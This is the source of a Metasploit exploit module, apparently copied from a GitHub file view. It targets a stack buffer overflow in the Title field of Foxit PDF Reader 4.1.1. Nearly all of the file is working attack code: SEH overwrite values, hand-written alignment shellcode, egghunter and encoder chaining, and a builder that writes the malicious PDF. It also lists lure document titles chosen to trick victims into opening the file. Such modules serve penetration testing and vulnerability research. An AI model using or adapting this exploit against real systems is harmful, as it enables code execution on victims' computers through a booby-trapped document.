/
foxit_title_bof.rb
148 lines (130 loc) · 4.93 KB
/
foxit_title_bof.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::PDF
include Msf::Exploit::Egghunter
#include Msf::Exploit::Seh # unused due to special circumstances
def initialize(info = {})
super(update_info(info,
'Name' => 'Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Foxit PDF Reader prior to version
4.2.0.0928. The vulnerability is triggered when opening a malformed PDF file that
contains an overly long string in the Title field. This results in overwriting a
structured exception handler record.
NOTE: This exploit does not use javascript.
},
'License' => MSF_LICENSE,
'Author' =>
[
'dookie', # Discovered the bug
'Sud0', # Original exploit (from Offsec Exploit Weekend)
'corelanc0d3r <peter.ve[at]corelan.be>', # Metasploit exploit
'jduck' # Metasploit-fu
],
'References' =>
[
#[ 'CVE', '' ],
[ 'OSVDB', '68648' ],
[ 'EDB', '15532' ],
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/11/13/offensive-security-exploit-weekend/' ]
],
'Payload' =>
{
'BadChars' => "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0d\x2F\x5c\x3c\x3e\x5e\x7e",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI', # egghunter jmp edi
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'Foxit Reader v4.1.1 XP Universal', { 'Offset' => 540, 'Ret' => "\x4B\x6A" } ] #unicode p/p/r foxit reader.exe
],
'DisclosureDate' => '2010-11-13',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The output filename.', 'corelan_foxit.pdf'])
])
end
def exploit
@label = rand_text_alpha(7)
nseh = "\x5A\x41" # pop edx -- to make edx writable
seh = target['Ret']
# inc ecx / pop esp / popad / push esp / ret
align = "\x41\x61\x5C\x5C\x41\x61\x41\x54\x41\xC3"
ecx_control = "\xB3\x30\xB3" # becomes ecx
hunter, @egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
# Encode with alphamixed, then unicode mixed
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
if name =~/alpha/
#insert getpc_stub & align EDX, unicode encoder friendly.
#Hardcoded stub is not an issue here because it gets encoded anyway
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}
#tweak hunter, patched to make it write to ECX
hunter[1] = "a"
doctitles = [
"Confidential : Contract + Terms of Use",
"Contract information",
"Acquisition contract",
"...loading, please wait...",
"Trademark, patent and copyright information",
"Limited Liability Partnership",
"Partnership agreement",
"Last will and testament",
"How to hack gmail",
"Running Metasploit on Windows Mobile",
"Free torrent sites",
"Lady Gaga naked",
"Free Shopping vouchers"
]
sploit = ''
sploit << doctitles[rand(doctitles.length)]
sploit << " " * (target['Offset'] - sploit.length)
sploit << nseh << seh
sploit << align
sploit << ecx_control
sploit << hunter
file_create(make_pdf(sploit))
end
# Override the mixin obfuscator since it doesn't seem to work here.
def n_obfu(str)
return str
end
def trailer(root_obj)
ret = 'trailer'
ret << n_obfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj)
ret << n_obfu("/Info ") << io_ref(5)
ret << n_obfu("/#{@label} #{@egg}")
ret << n_obfu(">>")
ret << eol
ret
end
def make_pdf(sploit)
@pdf << header('1.4')
add_object(1, n_obfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/Type/Catalog/Lang(en-US)>>"))
add_object(2, n_obfu("<</Type/Outlines/Count 0>>"))
add_object(3, n_obfu("<</Count 1/Type/Pages/Kids[") << io_ref(4) << n_obfu("]>>"))
add_object(4, n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>"))
add_object(5, n_obfu("<</Title (") + sploit + n_obfu(")>>"))
finish_pdf
end
end